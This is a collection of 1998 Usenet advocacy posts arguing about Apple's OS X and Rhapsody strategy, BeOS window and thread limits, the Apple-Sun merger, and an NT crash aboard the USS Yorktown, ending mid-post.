References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com>
Michael M. Eilers <not@a.valid.email.add> wrote:
> In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > Just to get shafted again when OS X won't be released due to (insert
> > excuses here)? But Apple instead has OS XI just around the corner but
> > you need a G4 to run it?
>
> Hey, man, your paranoia is your own business. Look for enemies and you
> will always find them, eventually.
>
I would hardly call it paranoia. Look at Apple's track record so far:
Pink
Taligent
Copland
Gershwin
Rhapsody
If that doesn't make you worried about OS X you must have nerves of
steel.
>
> And Bill Gates obsoleting every 286,386, and 486/sx with Windows 95 was
> not ugly? (please, no stories about how you got 95 to run on a PS/II.
Come on, you are comparing Apples and oranges here. If I had complained
about OS X not running on 68040's then you would have a case. But we are
talking about hw that was sold in '98, often hw that's better then the
G3's w/o their limitation w/ ide, only 3 PCI slots, pathetic video
e.t.c.
> Whatever you did, it did not run well.) This is called capitalism and
> profit making. MACS ARE NOT A RELIGION. Repeat as much as necessary. APPLE
> OWES YOU *NOTHING*. Just because you bought a Mac doesn't mean you are
> part of some secret tribe with special priveleges.
>
No, but Apple promised that my machine would run their next generation
OS. Now it won't.
> When the 99 Lexus comes out with heated seats and extra chrome, do you
> drive your '97 to the dealer and demand an upgrade?
>
Only if they promised an upgrade.
> People's expectations about computers are so divorced from reality.
>
dito.
> > The truth in the matter is that Apple simple has gotten greedy, and I'm
> > pretty sure it's going to backfire on them.
>
> Oh yeah. Tell it to the stock price, baby. I bought Apple stock at *12*,
> dammit--now it is $36!!
>
We'll se where it's at in '99 when Apple has an even smaller marketshare
due to shafting their loyal users.
> > Because 8.1 is so obsolete it isn't even funny?
>
> That's funny, I happen to know of a major newsweekly with a circulation of
> 450,000 that rakes in $6 to $8 million a year in profit. They write,
> produce, seperate, edit and print it all on Macs, and make lots and lots
> of money.
>
> And they are all running 7.6.1.
>
Oh yeah, and in Africa some tribes cook their food over open fire and
newertheless seems to be doing allright.
Magnus
--
Delete spamblocker '.x' to reply via email
####################################################################
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 18:09:51 +0200
Organization: Algonet/Tninet
Message-ID: <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <B1D929AE-A3562@206.165.43.162>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Jonas Palm <Jonas.Palm@orgk1.lu.se> said:
> >
> > I bought a 7300 about 3-4 months ago in order to do MacOS 7.x, MacOS 8.x,
> > Rhapsody and BeOS development. I *assumed* that the ability to run
> > Rhapsody, the basis for the next-generation OS from Apple, would give me
> > the ability to run the next-generation OS from Apple.
> >
> > I was wrong.
>
> Why is that wrong? Every indication is that the 7300 will run Rhapsody
> just fine.
>
Only thing is that Rhapsody is dead. Apple killed it and replaced it
with OS X.
The fact that they are going to have an open coffin on the funeral
doesn't change the fact that it's dead.
Sure they are going to release it, but likely very few (if any)
developers will bother with it since it's a dead end anyway.
Yellow applications for OS X won't run on Rhapsody (or most likely
won't) with it having a new graphics system and all.
Apple has made clear that Rhapsody 1.0 will be a dead end and therefore
once again betrayed their user base.
How much more do they think we will take?
Magnus
--
Delete spamblocker '.x' to reply via email
Date: Tue, 21 Jul 1998 12:48:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2107981248320001@wil132.dol.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Mon, 20 Jul 1998, tse_di wrote:
>
> > By the way I like those menus in terms of funtion and flexiblity. Just of
> > of curiousity do you believe a menu should be tied to the upper left hand
> > corner? or moveable (a la windows 95 taskbar)
>
> They would be fully movable windows that could sit anywhere on the screen.
> It might be nice though if the sides were sticky so that it's easier to
> anchor the menu windows to a side or corner of the screen.
Cool idea. Is there a third party utility that does this?
>
> Also, I envision these as being floating windows (as I think NeXT's are).
> This way documents and such can't cover up the menu. (Just in case this
> wasn't clear from the mock ups).
>
> I hope to have a working Macintosh program showing the behavior of this
> system in a while. In the process of writing the program, I'm learning
> Macintosh programming so it's not going very quickly.
I guess that answers my question. If you need a tester, let me know.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Peter Stegemann <pst@cocoon.infra.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Tue, 21 Jul 1998 16:00:55 +0200
Organization: University of technology, Furtwangen, Germany
Message-ID: <35B49F17.5F8B@cocoon.infra.de>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A-100000@fbnp> <6p0u15$28f$1@nntp2.ba.best.com>
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Kenneth C. Dyke wrote:
> On 07/20/98, Tyler Riti wrote:
> >On 21 Jul 1998, Kenneth C. Dyke wrote:
> >How many windows? What application? What kind of computer do you have.
> It was somewhere above 200 (230?) with StyledEdit. NetPositive seemed
> to barf with less than that for some reason. My system is a PowerTower
> Pro 225, 128MB of RAM. I can go get exact numbers for R3 if you'd
> like.
I can only say your damn right with your arguments. I had a similar
discussion about file descriptors on bedevtalk. I needed more than
256 of them. Most answers from Be-people sounded like "your fault,
your applications design is crappy" and "writing a kernal with
dynamic allocation is to difficult for humans".
And "if it is really not enough, file a bug report, so it will be
set to a higher value with the next release". Fine. Minimum time
between releaeses is 3 months, if my report is too late for the
next release, I may have to wait a minimum of 6 months. Just to
figure out that my needs changed and it is too low again.
But even if you're damn right, you should give up discussing with
the people here. Most of them think that the people at Be are gods
and what they say is right. Constructive criticism is impossible.
The times when the developers saved Be from using the fixed
scrollbar-buttons only are gone. I'm waiting for a non-auto-
pop-to-front-option since DR6. And there are a lot of other
issues that are still missing, small things that would enhance
usability. But stuff like OpenGL is more important... there
are people who want to play GLQuake :-(
And about not kept promisses... do you remember "We're making
the OS, you're making the Applications". Hm. Then, what's up
with Poorman and NetPositive? They get enhanced every release,
at least the browser would have been a nice market for a whole
little company.
In 1995, I was excited. BeOS looked like the successor of the
AmigaOS. But it still hasn't catched up.
--
--- Peter Stegemann - BeOS veteran and tiny god of de.comp.os.be
*sing* ... we had joy, we had fun, we had PACMAN for the SUN ..
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 21 Jul 1998 17:05:34 GMT
Organization: P & L Systems
Message-ID: <6p2hou$fpq$1@ironhorse.plsys.co.uk>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com>
<6oc22f$8m9@news.gdi.net>
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Cc: craigm@gdi.net
In <6oc22f$8m9@news.gdi.net> Craig Morehouse wrote:
> Why the heck are the OPENSTEP developers sitting on their cans and not
> writing for these tools?
>
Umm, we're not sitting on the cans, thank you, we have plenty of other work
to be getting on with as well..
> If Mesa or OmniWeb or Create! or DataPhile are being brought to the Linux
> platform (via GNU), it's been an artfully held secret.
>
If there were a *full* implementation of OpenStep, including full support for
AppKit, and a *decent* window manager, then I'm sure we'd port the code
across smartly enough, and let people know.
> So what's going on, NeXT dudes? Does the thought of actually selling more
> than 200 copies of a program make your knuckles turn white?
>
Umm, we've already sold more than that, and our knuckles are still pink (or
brown, depending on race and weather conditions).
> Or would you rather sit and kvetch about the death of Rhaptel while a
> million-dollar market sits open right in front of you?
>
> Are you Little Old Ladies or are you PROGRAMMERS?
>
Well, me I'm a Little Old Lady.
> Just thought I'd ask.
>
Thanks.
mmalc.
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Corey <corey@virtual-impact.com>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <6p1hmn$mv3$2@news2.ispnews.com>
Message-ID: <Pine.LNX.3.95.980721102629.8608b-100000@rainier.virtual-impact.com>
References: <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com> <6p1hmn$mv3$2@news2.ispnews.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Tue, 21 Jul 1998 17:32:07 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 10:32:07 PDT
Organization: @Work Internet powered by @Home Network
On 21 Jul 1998, Earl Malmrose wrote:
> Corey <corey@virtual-impact.com> :
> > On 21 Jul 1998, Kenneth C. Dyke wrote:
> > > Actually, in this case it's just a matter of allowing more control over
> > > thread setup, which seems simple enough to me. I'm not sure why it
> > > hasn't been done yet, since this problem was reported at least as far
> > > back as DR8 or so. It (or a related bug) got marked as 'will not fix'
> > > if I remember right. You can draw your own conclusions from that I
> > > guess.
> >
> > Why the hell wouldn't they want to fix that? Interesting, and a bit
> > disapointing.
>
> Because they have much better things to do with their time that fix obscure,
> won't happen in real life, limitations.
>
Yeah, but it still goes against their philosophy of 'No limitations' -
however my skills don't lie in C/C++, I'm not developing for the BeOS -
so I'm probably talking out my ass here, but is this problem we've all
been discussing for the past hundred posts or so really that tough
to change?
Beers,
Corey
corey@virtual-impact.com
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 17:25:15 GMT
Message-ID: <6p2itr$pcs$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <m3vhor5llt.fsf@ws142.spray.fi>
In-Reply-To: <m3vhor5llt.fsf@ws142.spray.fi>
On 07/21/98, Osma Ahvenlampi wrote:
>
>Ken, in all fairness, I think I've mentioned to you that I tested this
>and noticed that, yes, you can "hang" the machine so that it will not
>create windows any more, but if you close all those windows you
>created, it will go on as if nothing had happened. In general, my
>tests have found it to be pretty good with recovering from resource
>starving - it will come back after you've starved it of memory,
>message ports, semaphores, and so on.
Recovering isn't always quite so easy, though. If you attempt to bring
up a menu to choose quit, you're hosed, and unless you had Terminal
running your *really* hosed. You can't use the Tracker to even start
one because it hangs trying to bring up a menu. Depending on how the
application was written, keyboard equivalents for quitting don't always
work reliably... and apps that attempted to open a window and failed
don't always seem to recover, especially if they created a window that
they got a valid pointer back from but the thread for it was invalid.
This 'limitation' wouldn't be so annoying if the system failed
gracefully, but it doesn't. Getting a back a valid BWindow pointer
that causes the thread calling any methods on it to simply hang isn't
what I'd call failing gracefully. Of course, since C++ constructors
can't fail....(sorry, couldn't resist) ;)
>Let me know when you come up with a reasonable case where a user might
>create 200 windows "without even writing some nasty code", by the
>way. ;)
See the other numbers for why it doesn't always require the user to
actually create 200 windows. ;)
>NT usually becomes unusable when you have enough apps running
>to amount to 50 windows.
Well *THAT* is easy to fix. Quit using NT. Although part of NT's
problem may be that requesting potentially 50 other windows to redraw
themselves any time something moves a little bit probably isn't helping
things any. On the other hand, having 50 windows worth of backing
store would probably kill NT's already bad VM system anyway.
>Creating that much of them is pretty likely
>to make you unable to figure out what the hell is going on in all of
>them long before the system itself is exhausted.
That depends on what applications you're using, how many offscreen
windows they use, and whether or not their windows are actually
destroyed if you hide them or not.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 21 Jul 1998 10:43:21 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net> <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net> <joe.ragosta-2107980816120001@0.0.0.0>
In article <joe.ragosta-2107980816120001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
> > > And your evidence that Apple was ready to accept a deal for _less_ than
> > > the then-current stock price is.....?
> > >
> > > Oh, you don't have any.
> > >
> > > Never mind.
> >
> >
> > Not so fast, there, cowboy!
> >
> > Quote from Page 367 of Jim Carlton's book :"Apple- The Inside Story of
> > Intrigue,
> > Egomania and Busines Blunders"
> >
> > An unnamed Apple executive told Carlton in an interview for his book:
> "We knew
> > we wouldn't make a lot of money on this, but we felt that a merger with Sun
> > would create critical mass. The cultures were aligned with each other, and
> > Scott (McNealy) would have made a dynamic leader. Nobody knew what would
> > happen to Gil (Amelio)."
> >
> > For a thorough documentation of the Apple-Sun merger killed by Amelio, read
> > the chapter "Mission Impossible" from PP 364 through 393.
>
> Let's see.
>
> 1. I don't see anything in this quote to support your assertion that Sun
> offered less than Apple's market capitalization. "we wouldn't make a lot
> of money" doesn't cut it.
>
> 2. Third hand rumors in a mud-slinging book aren't generally considered
> reliable sources, anyway.
>
> I'm still waiting for evidence that Sun offered less than the market
> capitalization.
Read the damn book. Its all in there. BTW, I find Carlton's book well
researched, right on the money with inide things that I know about
from other sources, and a fairly honest assessment of Apple's
incredible incompetence over the years. Of course, since it is very
critical of Apple, you WOULD consider it "mud slinging" (as you would
anyone or anything even slightly critical of Apple).
The chapter in the book I mention, above, chronicles the entire Sun-
Apple merger plan. It was initiated by a phone call from Mike Markkula,
Frank Quattrone, an investment banker with Morgan Stanley & Co., and
Ed Stead, Apple's general counsel on Feb., 2, 1996 to Scott Mc Nealy to
tell him that Apple wanted to talk about McNealy's offer and see if the
merger could be accomplished.
Teams from Apple and Sun met on the following Friday to work through
the weekend on putting together a merger plan. These meetings were
held at the offices of Wilson, Sonsini, Goopdrich, and Rosati, a law firm
in Palo Alto where Larry Sonsani, Sun's attorney, is a partner. McNealy
joined them on Saturday, and they worked until 6 PM Sunday to iron
everything out. The selling price was $US2.8 billion.
The Apple code-name for the merger project was "Gatorade". If you want
more particulars, read the goddamn book. If chose not to believe it, that's
your business. Most people would say it was highly credible.
George Graves
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com> <35B42512.B4309896@nstar.net>
Message-ID: <35b437a1.0@news.depaul.edu>
Date: 21 Jul 98 06:39:29 GMT
Michael Peck <mjpeck@nstar.net> wrote:
> Lawsuits are the byproduct of a system wherein these voluntary
> relationships cannot exist because of regulatory nooses, and offended
> parties are forced to sue for damages rather than practice vigilance and
> seek other suppliers as a matter of foresight when necessary.
ROTFL! What a simple, black-and-white world you live in, Michael.
A world where businesses are happy to lift the kimono to all comers,
where all parties are equals, where money and greed have no place,
where corporations are not selfish and short-sighted, and where
the world would be shiny and perfect if only there were no
big bad regulators sticking their noses into the operations of
the good-hearted, honest businessmen.
Sorry, the real world just isn't that simple. Of course, it's much
easier when you've got a set of rules memorized, even if they
aren't practical.
<snip>
> Despots who compete for favor with a skeptical and vigilant public?
A public which, presumably, has access to perfect information about
all topics. (And time to evaluate it all.) A public served by
corporations which do not lie and/or conceal information,
corporations run by saints for the good of the people.
And this utopia is to be found where, exactly? Has such a
society ever existed? Or is it as illusory as the world
where communism works?
The more likely situation is 'despots who wield money and force
against the cowed and weak public while enriching themselves
and their cronies'.
--
"... and subpoenas for all." - Ken Starr
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 20 Jul 1998 13:59:01 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ovif5$mto$2@news.spacelab.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com> <35B08C8B.7E9A@REMOVE.wayne.edu>
Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
[ ... ]
>What was the Macintosh's killer app? MacPaint? MacLogo?
Originally? MacWrite.
Later on, various Adobe apps and the Apple LaserWriter.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: a l t e n ber@nashville.com (L e e Al te nb erg)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: 21 Jul 1998 17:50:18 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6p2kcq$kht$2@supernews.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net>
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Cc: ckoller@worldnet.att.net
In <6p2iih$6k3@bgtnsc03.worldnet.att.net> Craig Koller wrote:
> Check out http://www.gcn.com/gcn/1998/July13/cov2.htm. Pretty funny stuff.
>
> Apparently a new Naval "smart ship" running many critical functions with
> Windows NT (!!!) has been crippled by crashes, leading to periods of
> dead-in-the-water propulsion breakdowns, requiring it to be towed back to
> port.
>
> ...and they want to *expand* the use of NT on other Navy vessels. The
> worship of NT as the second coming has just plain gone too far.
>
>
>
> "Where do you want to be towed today?"
>
In the article, it says:
"The PCs and server run NT 4.0 over a high-speed, fiber-optic LAN."
"The Yorktown lost control of its propulsion system because its computers
were unable to divide by the number zero, the memo said. The YorktownÂs
Standard Monitoring Control System administrator entered zero into the data
field for the Remote Data Base Manager program. That caused the database to
overflow and crash all LAN consoles and miniature remote terminal units, the
memo said."
"If you understand computers, you know that a computer normally is immune to
the character of the data it processes,Ä he wrote in the June U.S. Naval
InstituteÂs Proceedings Magazine. "Your $2.95 calculator, for example, gives
you a zero when you try to divide a number by zero, and does not stop
executing the next set of instructions. It seems that the computers on the
Yorktown were not designed to tolerate such a simple failure.Ä
So here's the workaround for NT's bug:
"The program administrators are trained to bypass a bad data field and change
the value if such a problem occurs again, Atlantic Fleet officials said."
Has anyone who has ever worked with a network of NEXTSTEP, or any other Unix
machines, ever known it to go down because a database had a faulty value in
one of its fields?
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 19:49:01 +0200
Organization: Completely Disorganized
Message-ID: <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de>
References: <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>
Mail-Copies-To: never
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 21 Jul 1998, Michael Schuerig wrote:
>
> > And it is being fixed. I mean, as if you wouldn't know that Mac OS 8.5
> > will have Navigation Services. Of course I agree that modal dialogs are
> > bad in most cases, but _I_ don't see why I should complain about
> > StandardFile dialogs _now_. Very soon it's an annoyance of the past.
>
> Not really. Applications will have to be modified to support Navigations
> Services. None of the applications you have installed on your machine now
> will support that when you plop Mac OS 8.5 on your machine.
You can bet that someone will put out an extension that transparently
slips in Nav Services for apps that don't support them, yet.
> Furthermore, it has taken Apple 14 and a half years to fix this. This has
> always been high on the list of complaints about the Mac UI for as long as
> I remember. There is no reason why we couldn't have had something like
> Navigation Services years ago. Apple just futzed away with other things.
And there is no reason to continue complaining. I don't understand what
you're trying to achieve that way. Or are you simply venting your bad
mood that it took so long?
> > > The menu system could be better. Having a menu bar that stretches across
> > > the entire screen wastes space particularly on large screens where there
> > > are far too few menu choices to fill up even a majority of the space.
> > >
> > > See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> > > might be better.
> >
> > You sure have heard about Fitts' Law?
>
> Fitt's Law?
Paul M. Fitts
"The Information Capacity of the Human Motor System in Controlling the
Amplitude of Movement"
_Journal of Experimental Psychology_, Vol. 47, No. 6, June 1954
What it comes down to is this: The "information capacity" of our motor
system is limited. The faster a movement is executed and the more
alternative movements there are, the higher the information capacity has
to be.
It bears on menubars, in that there are fewer movement alternatives for
a global menubar than for one floating somewhere in the middle of the
screen.
> > But anyway, a more flexible menu
> > system would be a plus. So that anyone can configure it to their hearts
> > content. If it means that I can have the menus the way I like them and
> > you can have the menus the way you like them -- fine.
>
> Yes, but what are we getting? Are we getting the ability to do what's on
> that page above? Or are we just getting the same old Mac UI?
Complain to Apple. Start a petition.
> > What I find curious is, that all of your suggested changes are
> > incremental.
>
> Why is that curious?
Because you seemed to start out far more radical.
> Indeed. Now ask yourself why Apple isn't exploring these things? Why are
> we going to be stuck with a Mac UI that still has a lot of problems?
Dunno. What do you think?
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Advocacy BloodDrive Update
Followup-To: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 Jul 1998 19:25:53 GMT
Organization: University of Maryland, College Park
Message-ID: <6p05k1$dv$1@hecate.umd.edu>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com> <slrn6r6jnt.9fc.sal@panix3.panix.com>
Salvatore Denaro (sal@panix3.panix.com) wrote:
: I'm an NT developer. I've given up a bit of my sanity, a bit of hope
: and some of my hair. And now you want blood?
Prove your loyalty to Microsoft by giving some blood. What's wrong with that?
;p
: --
: sal@panix.com
: Salvatore Denaro
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go
Date: 21 Jul 1998 18:01:00 GMT
Message-ID: <6p2l0s$qa6$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <35B43394.B713C776@scirocco.bbn.hp.com> <6p1hmj$mv3$1@news2.ispnews.com>
In-Reply-To: <6p1hmj$mv3$1@news2.ispnews.com>
On 07/20/98, Earl Malmrose wrote:
>Joerg Stegemann <stegeman@scirocco.bbn.hp.com> :
>> Corey wrote:
>> > And if you really want to get down to it, it's probably pretty
reasonable
>> > to limit the amount of open windows down to a *mere* 200 - I mean,
any
>> > program that produces more than just a couple handfulls should be
shot
>> > and killed on the spot.
>>
>> When every off-screen bitmap uses a thread then you don't need 200
visible
>> windows, one app that uses a lot of off-screen bitmaps (games maybe
?)
>> can get you into trouble very easily.
>
>If you plan on having a ton of off-screen bitmaps, then choose the
>right tool for the job, not a BBitmap that uses a thread.
BBitmap may still be the right tool for the job. The deal is that
BBitmaps that you don't want to draw into using attached BViews won't
tie up threads in the application server. If you only want to call
SetBits() with a pre-rendered image than you can build the BBitmap so
that it won't let you attach BViews at all. But if you want to be
able to attach a BView to a BBitmap (to provide double-buffered
drawing, most likely) it will tie up threads in the app_server. It's
